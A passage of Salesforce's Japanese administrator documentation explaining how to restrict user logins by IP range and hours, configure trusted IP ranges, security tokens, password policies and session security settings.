カウントに接続します。「API ログインの 2 要素認証」権限があるユーザは、アカウントのパスワードのリセッ
ト時など要求されたときは常に標準のセキュリティトークンではなくコードを使用します。「API アクセスの
2 要素認証ログイン要件の設定」 (ページ 1016)を参照してください。

ログイン IP アドレス範囲の制限
Enterprise Edition、Performance Edition、Unlimited Edition、Developer Edition、およびDatabase.com Edition の場合、ユーザ
がどのアドレス範囲からログインできるかを指定する [ログイン IP アドレスの制限] のアドレスを個々のプロ
ファイルに設定できます。プロファイルに設定された [ログイン IP アドレスの制限] 以外のアドレスからログイ
ンしたユーザは Salesforce 組織にアクセスできません。
Contact Manager Edition、Group Edition、および Professional Edition の場合、[ログイン IP アドレスの制限] を設定しま
す。[設定] から、[クイック検索] ボックスに「セッションの設定」と入力し、[セッションの設定] を選択しま
す。
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すべてのアクセス要求に対するログイン IP アドレス範囲の適用
Salesforceへのすべてのアクセスを、ユーザプロファイルの [ログイン IP アドレスの制限] に含まれている IP アド
レスに制限することができます。たとえば、[ログイン IP アドレスの制限] で定義された IP アドレスからユーザ
が正常にログインしたとします。その後で、[ログイン IP アドレスの制限] に含まれない新しい IP アドレスを持
つ異なる場所に移動します。ユーザがブラウザを更新するか、クライアントアプリケーションからのアクセス
も含め Salesforceにアクセスしようとすると、拒否されます。このオプションを有効にするには、[設定] から、
[クイック検索]ボックスに「セッションの設定」と入力し、[セッションの設定]を選択して、[すべての要求で
ログイン IP アドレスの制限を適用] を選択します。このオプションは、ログイン IP アドレスが制限されたすべ
てのユーザプロファイルに影響します。

組織全体の信頼できる IP アドレス範囲
すべてのユーザについて、ユーザがログインの問題が発生することなく常にログインできる IP アドレス範囲の
リストを設定できます。これらのユーザは、追加の確認情報を提供した後で組織にログインできます。「組織
の信頼済み IP 範囲の設定」を参照してください。
ユーザがユーザインターフェース、API、またはSalesforce for Outlook、Connect Offline、Connect for Office、データロー
ダなどのデスクトップクライアントを使用してSalesforceにログインした場合は、Salesforceがそのログインが正
当かどうかを次の方法で確認します。
1. Salesforceは、ユーザのプロファイルにログイン時間帯の制限が設定されているかどうかを確認します。ユー

ザのプロファイルにログイン時間帯の制限が設定されている場合、指定された時間帯以外のログインは拒
否されます。

2. ユーザに「ユーザインターフェースログインの 2 要素認証」権限がある場合は、ログイン時に Salesforce が
2 つ目の認証を行うようユーザに求めます。ユーザのアカウントが Salesforce Authenticator などのモバイル認
証アプリケーションにまだ接続されていない場合は、Salesforce がユーザにまずアプリケーションに接続す
るよう求めます。

3. ユーザに「API ログインの 2 要素認証」権限があり、認証アプリケーションをアカウントに接続済みの場合
は、ユーザが標準のセキュリティトークンを使用すると、Salesforce がエラーを返します。ユーザは、標準
のセキュリティトークンではなく、認証アプリケーションで生成された確認コード (時間ベースのワンタイ
ムパスワード) を入力する必要があります。

4. Salesforceは次に、ユーザのプロファイルに IP アドレスの制限が設定されているかどうかを確認します。ユー
ザのプロファイルに IP アドレスの制限が設定されている場合、指定された IP アドレス以外の IP アドレスか
らのログインは拒否されます。[すべての要求でログイン IP アドレスの制限を適用] セッション設定が有効
になっている場合、クライアントアプリケーションからの要求も含め、ページ要求ごとに IP アドレス制限
が適用されます。

5. プロファイルベースの IP アドレス制限が設定されていない場合は、過去に Salesforce へのアクセスに使用さ
れたデバイスからユーザがログインしているかどうかを確認します。
• Salesforceが認識するデバイスやブラウザからユーザがログインしている場合は、ログインが許可されま

す。
• 信頼できる IP アドレスのリストに含まれる IP アドレスからのログインであれば、ログインは許可されま

す。
• 信頼できる IP アドレスからのログインでも、Salesforceが認識するデバイスやブラウザからのログインで

もない場合は、ログインがブロックされます。
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ログインがブロックされるか、API ログインの失敗エラーが返された場合は、Salesforce がユーザの ID を検証す
る必要があります。
• ユーザインターフェースを使用してアクセスする場合は、Salesforce Authenticator (バージョン 2 以降) を使用し

て検証するか、確認コードを入力するようユーザに求められます。

メモ: ユーザが Salesforce に初めてログインするときは、確認コードを要求されません。

• API またはクライアントを使用してアクセスする場合は、ユーザがログインパスワードの末尾にセキュリ
ティトークンを追加する必要があります。また、ユーザプロファイルに「API ログインの 2 要素認証」が設
定されている場合は、ユーザが認証アプリケーションで生成された確認コードを入力します。
セキュリティトークンは Salesforce から自動生成されるキーです。たとえば、パスワードが mypassword

で、セキュリティトークンが XXXXXXXXXXの場合は、ログイン時に「mypasswordXXXXXXXXXX」と入力す
る必要があります。また、クライアントアプリケーションによっては、別個にセキュリティトークン用の
項目があります。
セキュリティトークンを取得するには、Salesforce ユーザインターフェースを通じてパスワードを変更する
か、セキュリティトークンをリセットします。ユーザがパスワードを変更するか、セキュリティトークン
をリセットすると、Salesforce がユーザの Salesforce レコードのメールアドレス宛に新しいセキュリティトー
クンを送信します。セキュリティトークンは、ユーザがセキュリティトークンをリセットするか、パスワー
ドを変更するか、またはパスワードがリセットされるまで有効です。

ヒント: 新しい IP アドレスから Salesforceにアクセスする前に、[私のセキュリティトークンのリセット]

を使用して信頼できるネットワークからセキュリティトークンを取得しておくことをお勧めします。

ログイン制限の設定に関するヒント
ログイン制限を設定するときには、次の点を考慮してください。
• ユーザのパスワードが変更されると、セキュリティトークンがリセットされます。APIまたはクライアント

を使用してログインする場合は、自動生成されるセキュリティトークンをユーザがパスワードの末尾に追
加するまで、ログインがブロックされる場合があります。

• パートナーポータルとカスタマーポータルのユーザは、ログインを行うためにブラウザをアクティベート
する必要はありません。

• 次のイベントは、組織のログインロックアウト設定で定義されているとおり、Salesforce からロックアウト
されるまでの無効なパスワードによるログイン試行回数のカウントの対象となります。
– ユーザに ID 検証が求められた場合
– API またはクライアントを使用して Salesforce にログインするためにパスワードの末尾に追加したセキュ

リティトークンまたは確認コードが正しくなかった場合

拡張プロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、ユーザレベルでログインア
クセスを制御します。プロファイルに IP アドレス制限を定義すると、その他のすべての IP アドレスからの
ログインは拒否されます。
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元のプロファイルユーザインターフェースでのログイン IP アドレスの制限
ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、ユーザレベルでログインア
クセスを制御します。プロファイルに IP アドレス制限を定義すると、その他のすべての IP アドレスからの
ログインは拒否されます。
拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集
プロファイルごとにユーザがログインできる時間帯を指定できます。
元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集
ユーザプロファイルに基づいてユーザがログインできる時間帯を指定します。
組織の信頼済み IP 範囲の設定
信頼済み IP 範囲で、携帯電話に送信されるコードなど、ID を確認するためのログインの問題が発生するこ
となくユーザがログインできる、IP アドレスのリストが定義されます。
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拡張プロファイルユーザインターフェースでのログイン IP アドレスの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ログイン IP アドレス範囲
の制限を参照する
• 「設定・定義を参照す

る」

ログイン IP アドレス範囲
の制限を編集および削除
する
• 「プロファイルと権限

セットの管理」

ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、
ユーザレベルでログインアクセスを制御します。プロファイルに IP アドレス制
限を定義すると、その他のすべての IP アドレスからのログインは拒否されます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択し、その名前をクリックします。
3. [プロファイルの概要] ページで [ログイン IP アドレスの制限] をクリックしま

す。
4. プロファイルに対して許可する IP アドレスを指定します。

• ユーザがログインできる IP アドレスの範囲を追加するには、[IP 範囲の追
加] をクリックします。有効な IP アドレスを [開始 IP アドレス] に、そ
れより番号が大きい IP アドレスを [終了 IP アドレス] 項目に入力しま
す。1 つの IP アドレスからのログインのみを許可するには、両方の項目に
同じアドレスを入力します。

• 範囲を編集または削除するには、その範囲の[編集]または[削除]をクリッ
クします。

重要:

• 範囲を指定する IP アドレスは、IPv4 であるか、または IPv6 である必要
があります。範囲では、IPv4 アドレスは、IPv4 射影 IPv6 アドレス空間
である ::ffff:0:0 から ::ffff:ffff:ffff に存在しま
す。::ffff:0:0 は 0.0.0.0、::ffff:ffff:ffff は
255.255.255.255. に対応します。範囲には、IPv4 射影 IPv6 アドレ
ス空間内外の両方の IP アドレスを含めることはできません。たとえ
ば、255.255.255.255から ::1:0:0:0または ::から ::1:0:0:0

の範囲は許可されません。
• パートナーユーザプロファイルの IP アドレスは 5 個に制限されてい

ます。この制限を緩和するには、Salesforceにお問い合わせください。
• Salesforce Classic Mobile アプリケーションは、プロファイルに対して定

義された IP 範囲をスキップできます。Salesforce Classic Mobile は、モバ
イル通信業者のネットワーク上で、Salesforce へのセキュアな接続を
開始します。ただし、モバイル事業者の IP アドレスが、ユーザのプ
ロファイルで許可される IP 範囲に含まれていない場合があります。
プロファイルの IP 定義がスキップされることを防ぐには、そのユー
ザのSalesforce Classic Mobileを無効にする (ページ1298)必要があります。

5. 必要に応じて、範囲の説明を入力します。複数の範囲を管理する場合は、[説明] 項目を使用して、ネット
ワークのどの部分がこの範囲に対応するかなどの詳細を入力します。

メモ: さらに、Salesforce へのアクセスを [ログイン IP アドレスの制限] の IP にのみ制限することができま
す。このオプションを有効にするには、[設定] から [クイック検索]ボックスに「セッションの設定」と入
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力し、[セッションの設定]を選択し、[すべての要求でログイン IP アドレスの制限を適用]を選択します。
このオプションは、ログイン IP アドレスが制限されたすべてのユーザプロファイルに影響します。

元のプロファイルユーザインターフェースでのログイン IP アドレスの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

ログイン IP アドレス範囲
の制限を参照する
• 「設定・定義を参照す

る」

ログイン IP アドレス範囲
の制限を編集および削除
する
• 「プロファイルと権限

セットの管理」

ユーザのプロファイルで許可される IP アドレス範囲を指定することによって、
ユーザレベルでログインアクセスを制御します。プロファイルに IP アドレス制
限を定義すると、その他のすべての IP アドレスからのログインは拒否されます。
1. Salesforce エディションによって、プロファイルに有効な IP アドレス範囲を制

限する方法が異なります。
• Enterprise Edition、Unlimited Edition、Performance Edition、または Developer Edition

を使用している場合は、[設定] から [クイック検索]ボックスに「プロファ
イル」と入力し、[プロファイル] を選択して、プロファイルを選択しま
す。

• Professional Edition、Group Edition、または Personal Edition を使用している場合
は、[設定] から [クイック検索] ボックスに「セッションの設定」と入力
し、[セッションの設定] を選択します。

2. [ログイン IP アドレスの制限] 関連リストの [新規] をクリックします。
3. 有効な IP アドレスを [開始 IP アドレス] 項目に入力し、開始 IP アドレスよ

り大きな数値のアドレスを [終了 IP アドレス] 項目に入力します。
開始アドレスと終了アドレスは、ユーザのログインを許可する IP アドレスの
範囲を定義します。1 つの IP アドレスからのログインのみを許可するには、
両方の項目に同じアドレスを入力します。
• 範囲を指定する IP アドレスは、IPv4 であるか、または IPv6 である必要があります。範囲では、IPv4 アド

レスは、IPv4 射影 IPv6 アドレス空間である ::ffff:0:0 から ::ffff:ffff:ffff に存在しま
す。::ffff:0:0は 0.0.0.0、::ffff:ffff:ffffは 255.255.255.255.に対応します。範囲には、
IPv4 射影 IPv6 アドレス空間内外の両方の IP アドレスを含めることはできません。たとえば、
255.255.255.255 から ::1:0:0:0 または :: から ::1:0:0:0 の範囲は許可されません。

• パートナーユーザプロファイルの IP アドレスは 5 個に制限されています。この制限を緩和するには、
Salesforce にお問い合わせください。

• Salesforce Classic Mobile アプリケーションは、プロファイルに対して定義された IP 範囲をスキップできま
す。Salesforce Classic Mobileは、モバイル通信業者のネットワーク上で、Salesforceへのセキュアな接続を開
始します。ただし、モバイル事業者の IP アドレスが、ユーザのプロファイルで許可される IP 範囲に含ま
れていない場合があります。プロファイルの IP 定義がスキップされることを防ぐには、そのユーザの
Salesforce Classic Mobile を無効にする (ページ 1298)必要があります。

4. 必要に応じて、範囲の説明を入力します。複数の範囲を管理する場合、説明項目を使用して、ネットワー
クのどの部分がこの範囲に対応するかなど、詳細を入力します。

5. [保存] をクリックします

メモ: 静的リソースのキャッシュ設定は、ゲストユーザのプロファイルが IP 範囲またはログイン時間に基
づいて制限されているForce.comサイトを介してアクセスする場合は、非公開に設定されます。ゲストユー
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ザプロファイル制限のあるサイトでは、ブラウザ内でのみ静的リソースをキャッシュします。また、以
前は無制限であったサイトに制限が設定されると、Salesforceキャッシュおよび中間キャッシュから静的リ
ソースが解放されるまでに最大 45 日かかる場合があります。

メモ: さらに、Salesforce へのアクセスを [ログイン IP アドレスの制限] の IP にのみ制限することができま
す。このオプションを有効にするには、[設定] から [クイック検索]ボックスに「セッションの設定」と入
力し、[セッションの設定]を選択し、[すべての要求でログイン IP アドレスの制限を適用]を選択します。
このオプションは、ログイン IP アドレスが制限されたすべてのユーザプロファイルに影響します。

関連トピック:

組織の信頼済み IP 範囲の設定
元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集
元のプロファイルインターフェースの使用
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拡張プロファイルユーザインターフェースでのログイン時間帯の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタムプロファイルを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ログイン時間帯の制限を
表示する
• 「設定・定義を参照す

る」

ログイン時間帯の制限を
編集する
• 「プロファイルと権限

セットの管理」

プロファイルごとにユーザがログインできる時間帯を指定できます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルを選択し、その名前をクリックします。
3. [プロファイルの概要] ページで [ログイン時間帯の制限] まで下にスクロール

し、[編集] をクリックします。
4. このプロファイルを持つユーザが組織にログインできる曜日と時間帯を設定

します。
ユーザがいつでもログインできるようにするには、[すべての時刻を解除] を
クリックします。特定の曜日にユーザがシステムを使用できないようにする
には、開始時刻と終了時刻に同じ値を設定します。
ユーザがログインしている間にログイン時間帯が終了した場合、現在のペー
ジは引き続き表示できますが、他のアクションを実行することはできなくな
ります。

メモ: 初めてプロファイルにログイン時間を設定したときは、[設定] の [組
織情報] ページで指定されている組織の [タイムゾーンのデフォルト値]に基
づいて時間が表示されます。その後、組織の[タイムゾーンのデフォルト値]

が変更されても、プロファイルのログイン時間のタイムゾーンは変更され
ません。そのため、ユーザが別のタイムゾーンにいる場合、または組織の
デフォルトのタイムゾーンが変更された場合でも、常にここで指定した時
間帯がログイン時間に適用されます。
ログイン時間を参照しているか編集しているかによって、異なった時間が
表示される可能性があります。[ログイン時間帯] 編集ページの時間帯は、
指定したタイムゾーンで表示されます。[プロファイルの概要] ページの時
間帯は、組織の元のデフォルトのタイムゾーンで表示されます。

関連トピック:

拡張プロファイルユーザインターフェースの概要
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元のプロファイルユーザインターフェースでのログイン時間帯の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ログイン時間帯の制限を
設定する
• 「プロファイルと権限

セットの管理」

ユーザプロファイルに基づいてユーザがログインできる時間帯を指定します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択して、プロファイルを選択します。
2. [ログイン時間帯の制限] 関連リストの [編集] をクリックします。
3. このプロファイルを持つユーザがシステムを使用できる曜日と時間帯を設定

します。
ユーザがいつでもログインできるようにするには、[すべての時刻を解除] を
クリックします。特定の曜日にユーザがシステムを使用できないようにする
には、開始時刻と終了時刻に同じ値を設定します。
ユーザがログインしている間にログイン時間帯が終了した場合、現在のペー
ジは引き続き表示できますが、他のアクションを実行することはできなくな
ります。

4. [保存] をクリックします。

メモ: 初めてプロファイルにログイン時間を設定したときは、[設定] の [組
織情報] ページで指定されている組織の [タイムゾーンのデフォルト値]に基
づいて時間が表示されます。その後、組織の[タイムゾーンのデフォルト値]

が変更されても、プロファイルのログイン時間のタイムゾーンは変更され
ません。そのため、ユーザが別のタイムゾーンにいる場合、または組織の
デフォルトのタイムゾーンが変更された場合でも、常にここで指定した時
間帯がログイン時間に適用されます。
ログイン時間を参照しているか編集しているかによって、異なった時間が
表示されます。プロファイルの詳細ページでは、指定したタイムゾーンで
時間が表示されます。[ログイン時間帯の制限] 編集ページでは、組織のデ
フォルトのタイムゾーンで時間が表示されます。

関連トピック:

元のプロファイルインターフェースの使用
元のプロファイルユーザインターフェースでのログイン IP アドレスの制限
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組織の信頼済み IP 範囲の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ネットワークアクセスを
参照する
• 「ログイン問題の有効

化」

ネットワークアクセスを
変更する
• 「IP アドレスの管理」

信頼済み IP 範囲で、携帯電話に送信されるコードなど、ID を確認するためのロ
グインの問題が発生することなくユーザがログインできる、IP アドレスのリス
トが定義されます。
認証されていないアクセスから組織のデータを保護するために、ユーザがログ
インの問題が発生することなくログインできる IP アドレスのリストを指定でき
ます。ただし、信頼済み IP 範囲外のユーザの場合、この方法で完全にアクセス
を制限することはできません。これらのユーザは、ログインの問題を解決 (通常
はモバイルデバイスまたはメールアドレスに送信されたコードを入力) した後に
ログインできます。
1. [設定] から、[クイック検索]ボックスに「ネットワークアクセス」と入力し、

[ネットワークアクセス] を選択します。
2. [新規] をクリックします。
3. 有効な IP アドレスを [開始 IP アドレス] 項目に入力し、開始 IP アドレスよ

り上位のアドレスを [終了 IP アドレス] 項目に入力します。
開始アドレスと終了アドレスで、ユーザのログインを許可する IP アドレスの
範囲 (開始値と終了値を含む) を定義します。1 つの IP アドレスからのログイ
ンのみを許可する場合は、両方の項目に同じアドレスを入力します。
開始 IP アドレスと終了 IP アドレスは IPv4 範囲にあり、アドレス数は 33,554,432 以内にする必要があります
(225、7 CIDR ブロック)。

4. 必要に応じて、範囲の説明を入力します。たとえば、複数の範囲を管理している場合、ネットワークのこ
の範囲に対応する部分の詳細を入力します。

5. [保存] をクリックします

メモ:  2007 年 12 月以前に有効化された組織の場合、Salesforce 機能が導入されると、自動的に 2007 年 12 月
の組織の信頼できる IP アドレスリストに入力されます。信頼できるユーザが過去 6 か月間に Salesforce へ
アクセスするのに使用した IP アドレスも含まれています。

関連トピック:

セッションセキュリティ
ユーザが Salesforce にログインできる範囲と時間帯の制限

990

ユーザの認証Salesforce 組織の設定および管理



パスワードポリシーの設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

パスワードポリシーを設
定する
• 「パスワードポリシー

の管理」

パスワード保護を実装してSalesforce組織のセキュリティを強化します。パスワー
ド履歴、パスワード長、パスワード文字列の制限やその他の値を設定できます。
また、ユーザがパスワードを忘れた場合の操作も指定できます。
組織のセキュリティを確保するために、さまざまなパスワードおよびログイン
のポリシーを設定できます。

メモ: ユーザパスワードは 16,000 バイトを超えてはいけません。
ログイン数は 1 ユーザにつき 1 時間あたり 3,600 に制限されます。この制限
は、Summer '08 後に作成された組織に適用されます。

1. [設定] から、[クイック検索] ボックスに「パスワードポリシー」と入力し、
[パスワードポリシー] を選択します。

2. パスワード設定をカスタマイズします。

説明項目

ユーザパスワードが失効し、変更す
る必要が生じるまでの期間。デフォ
ルトは 90 日です。この設定は、セル
フサービスポータルでは使用できま
せん。この設定は、「パスワード無
期限」権限を持つユーザには適用さ
れません。
[パスワードの有効期間] 設定を変更
した場合に、ユーザの新しい有効期

パスワードの有効期間

限が古い有効期限よりも前になると
き、または [無期限]を選択して有効
期限が排除されるときは、変更がそ
のユーザのパスワード期限に影響し
ます。

ユーザの過去のパスワードを保存し
て、新しく設定されるパスワードが

過去のパスワードの利用制限回数

固有のパスワードになるようにしま
す。パスワード履歴は、この値を設
定しない限り保存されません。デフォ
ルトは [3 回前のパスワードまで使用
不可]です。[パスワードの有効期間]

項目に [無期限]を選択した場合を除
き、[制限なし]を選択できません。
この設定は、セルフサービスポータ
ルでは使用できません。
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説明項目

パスワードに必要な最小限の文字数。この値を設定
しても、既存のユーザのパスワードには影響しませ

最小パスワード長

ん。次回のパスワードの変更時に適用されます。デ
フォルトは [8 文字以上] です。

ユーザのパスワードとして使用できる文字の種別の
要件。
複雑性レベル:

パスワード文字列の制限

• 制限なし  — 任意のパスワード値を許可します。
最も安全性の低いオプションです。

• 英・数字両方含める  — 少なくとも 1 つの英字と 1

つの数字を使用する必要があります (デフォル
ト)。

• 英字、数字、および特殊文字を組み合わせて使用す
る必要があります  — 少なくとも 1 つの英字、1 つ
の数字、および ! # $ % - _ = + < > のうち
1 つの特殊文字を使用する必要があります。

• 数字、大文字および小文字をすべて含める  — 少な
くとも 1 つの数字、1 つの英大文字、および 1 つ
の英小文字を使用する必要があります。

• 数字、大文字、小文字、および特殊文字をすべて含
める  — 少なくとも 1 つの数字、1 つの英大文字、
1 つの英小文字、および ! # $ % - _ = + <

>のうち 1 つの特殊文字を使用する必要がありま
す。

メモ: 上記の特殊文字のみが要件を満たしま
す。他の記号文字は特殊文字とはみなされま
せん。

値は、パスワードヒントの質問に対する回答にパス
ワードそのものを含めることはできないことを意味

パスワード質問の制限

する [パスワードを含めないこと]、またはデフォル
トの [なし] です。回答に制限はありません。パス
ワードヒントの質問に対するユーザの回答は必須で
す。この設定は、セルフサービスポータル、カスタ
マーポータル、またはパートナーポータルでは使用
できません。

ログイン失敗が許される回数。この回数を超える
と、そのユーザはロックアウトされ、ログインでき

ログイン失敗によりロックするまでの回数

なくなります。この設定は、セルフサービスポータ
ルでは使用できません。
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説明項目

ロックアウトが解除されるまでの所要時間。デフォ
ルトは 15 分です。この設定は、セルフサービスポー
タルでは使用できません。

ロックアウトの有効期間

メモ: ユーザがロックアウトされた場合、その
ユーザはロックアウト期間の期限が切れるま
で待機する必要があります。「ユーザパスワー
ドのリセットおよびユーザのロック解除」権
限を持つユーザについては、[設定] から次の
手順を実行してロックを解除できます。
a. [クイック検索] ボックスに「ユーザ」と入

力します。
b. [ユーザ] を選択します。
c. ユーザを選択します。
d. [ロック解除] をクリックします。

このボタンは、ユーザがロックアウトされ
ている場合にのみ表示されます。

この機能により、セキュリティの質問に対する回答
を、入力と同時に非表示にします。デフォルトで
は、回答がプレーンテキストで表示されます。

パスワードのリセットの秘密の回答を非表示にする

メモ: 入力モードがひらがなに設定された
Microsoft Input Method Editor (IME) を組織で使用し
ている場合、通常のテキスト項目で ASCII 文字
を入力すると、日本語文字に変換されます。
ただし、IME は伏せ字のテキストを含む項目で
は適切に動作しません。この機能を有効にし
た後で組織のユーザがパスワードまたはその
他の値を正しく入力できない場合は、機能を
無効にしてください。

このオプションを選択すると、パスワードを 24 時間
以内に複数回変更できなくなります。

パスワードの有効期限は 1 日以上にする必要があり
ます

3. パスワードを忘れた場合とアカウントがロックされた場合の支援情報をカスタマイズします。

メモ: この設定は、セルフサービスポータル、カスタマーポータル、またはパートナーポータルでは
使用できません。
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説明項目

設定すると、「パスワードをリセットできません」
メールにこのメッセージが表示されます。パスワー

メッセージ

ドのリセット試行回数が上限を超えてロックアウト
されると、ユーザにこのメールが送信されます。こ
のテキストは、ユーザがパスワードをリセットする
ときに [セキュリティの質問への回答] ページの下部
にも表示されます。
社内のヘルプデスクやシステム管理者の名前を追加
することで、テキストを組織に合わせて調整できま
す。メールの場合、このメッセージは、システム管
理者がパスワードをリセットする必要があるアカウ
ントにのみ表示されます。時間制限によるロックア
ウトの場合は、別のシステムメールメッセージが表
示されます。

設定すると、このリンクは、[メッセージ]項目に定
義されているテキストと共に表示されます。「パス

ヘルプリンク

ワードをリセットできません」メールに、[ヘルプ
リンク] 項目に入力されたとおりの URL が表示され
るため、ユーザにもリンク先がどこかがわかりま
す。ユーザは Salesforce 組織内ではないため、この
URL 表示形式はセキュリティ上の機能です。
[セキュリティの質問への回答] ページで、[ヘルプリ
ンク]  URL が [メッセージ] 項目のテキストと組み合
わされて、クリック可能なリンクとなります。パス
ワードを変更するときにはユーザがSalesforce組織内
にいるので、セキュリティ上の問題はありません。
有効なプロトコル:

• http

• https

• mailto

4. 「API 限定ユーザ」権限を持つユーザに対して代替ホームページを指定します。パスワードのリセットなど
のユーザ管理タスクを完了すると、API限定ユーザはログインページではなく、ここで指定した URL にリダ
イレクトされます。
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5. [保存] をクリックします。

関連トピック:

プロファイルでのパスワードポリシーの表示と編集
パスワード

すべてのユーザのパスワードのリセット

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

すべてのパスワードをリ
セットする
• 「内部ユーザの管理」

システム管理者は、組織のセキュリティを強化するために、すべてのユーザの
パスワードをいつでもリセットができます。パスワードのリセット後、すべて
のユーザは次回ログインするときにパスワードをリセットするように求められ
ます。
「パスワード無期限」権限のあるユーザ以外のすべてのユーザのパスワードを
リセットする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「すべてのユーザパスワードをリセッ

ト」と入力し、[すべてのユーザのパスワードをリセット] を選択します。
2. [すべてのユーザパスワードをリセット] を選択します。
3. [保存] をクリックします。
ユーザが次回ログインすると、パスワードをリセットするように求められます。

パスワードをリセットするときの考慮事項
• ユーザがSalesforceにログインするためには、コンピュータの有効化が必要な

場合があります。
• [すべてのユーザパスワードをリセット] は、セルフサービスポータルユーザ

には影響しません。これは、セルフサービスポータルユーザが直接のSalesforce

ユーザではないためです。

関連トピック:

パスワード
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セッションセキュリティ設定の変更

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

[ログイン時の IP アド
レスとセッションをロッ
クする] 設定を使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

他のすべての設定を使用
可能なエディション:
Personal Edition、Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

セキュリティ設定を変更
する
• 「アプリケーションの

カスタマイズ」

セッションセキュリティ設定を変更して、セッション接続タイプ、タイムアウ
ト設定、IP アドレス範囲を指定し、悪意のある攻撃などから保護できます。
1. [設定] から、[クイック検索]ボックスに「セッションの設定」と入力し、[セッ

ションの設定] を選択します。
2. セッションセキュリティ設定をカスタマイズします。

説明項目

無効ユーザがログアウトされるまでの時間。
ポータルユーザの場合、タイムアウトを 15

分に設定することはできても、タイムアウト
は 10 分～ 24 時間になります。15 分から 24 時
間の範囲の値を選択します。厳重なセキュリ
ティが必要な機密情報がある場合は、より短
いタイムアウト期間を選択してください。

タイムアウト値

メモ: タイムアウト期間の半分が過ぎ
るまで、最終アクティブセッション時
間値は更新されません。そのため、タ
イムアウトが 30 分の場合、15 分が過ぎ
るまで操作を行っているかどうか
チェックされません。たとえば、10 分
後にレコードを更新すると、15 分後に
は操作を行っていなかったため、最終
アクティブセッション時間値は更新さ
れません。最終アクティブセッション
時間が更新されなかったため、操作し
た 20 分後 (計 30 分後) にログアウトされ
ます。20 分後にレコードを更新すると
します。これは、最終アクティブセッ
ション時間がチェックされてから 5 分
後です。タイムアウトがリセットされ
るため、ログアウトされるまであと 30

分 (計 50 分) あります。

タイムアウト警告メッセージを無効ユーザに
向けて表示するかどうかを決定します。[タ

セッションタイムアウト時の
警告ポップアップを無効にす
る イムアウト値] で指定されたタイムアウトの

30 秒前にプロンプトが表示されます。

無効なユーザのセッションがタイムアウトす
ると、現在のセッションが強制的に無効にな

セッションタイムアウト時に
強制的にログアウト

ります。ブラウザが更新され、ログインペー
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ジに戻ります。組織にアクセスするには、再ログインする必要
があります。

メモ: この設定を使用する場合、[セッションタイムアウ
ト時の警告ポップアップを無効にする] は選択しないでく
ださい。

ユーザのセッションをユーザがログインした IP アドレスにロッ
クして、認可されていないユーザによる有効なセッションの
乗っ取りを防止するかどうかを決めます。

ログイン時の IP アドレスとセッションを
ロックする

メモ: この設定は、さまざまなアプリケーションやモバ
イルデバイスの機能を妨げる可能性があります。

コミュニティユーザなどのユーザの現在の UI セッションを特
定のドメインに関連付けます。この設定は、別のドメインでの

セッションを最初に使用したドメインにセッ
ションをロックする

セッション ID の不正使用防止に役立ちます。この設定は、Spring

'15 リリース以降に作成された組織ではデフォルトで有効になっ
ています。

HTTP を使用してアクセスできる Force.com サイトとは別に、
Salesforce へのログインまたはアクセスに HTTPS が必要かどうか
を決定します。
セキュリティ上の理由により、この設定はデフォルトで有効に
なっています。この設定は、API 要求には適用されません。す
べての API 要求には HTTPS が必要です。

セキュアな接続 (HTTPS) が必要

メモ: [ユーザのパスワードをリセットする]ページには、
HTTPS を使用してのみアクセスできます。

別のユーザとしてログインしているシステム管理者がセカンダ
リユーザとしてログアウトした後、以前のセッションに戻れる
かどうかを決めます。
この設定をオンにすると、システム管理者がユーザとしてログ
アウトした後にSalesforceを使用し続けるためにはログインし直

ユーザとしてログインしてから再ログイン
を強制する

す必要があります。オフにした場合は、システム管理者がユー
ザとしてログアウトした後で元のセッションに戻ります。
Summer '14 リリース以降の新しい組織では、この設定がデフォ
ルトで有効になっています。
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セッション ID Cookie アクセスを制限します。HttpOnly 属性を持
つ Cookie は、JavaScript からのコールなど、非 HTTP メソッドでは
アクセスできません。

HttpOnly 属性が必要

メモ: JavaScript を使用してセッション ID の Cookie にアク
セスするカスタムアプリケーションまたはパッケージア
プリケーションを使用している場合は、[HttpOnly 属
性が必要]を選択するとアプリケーションが停止します。
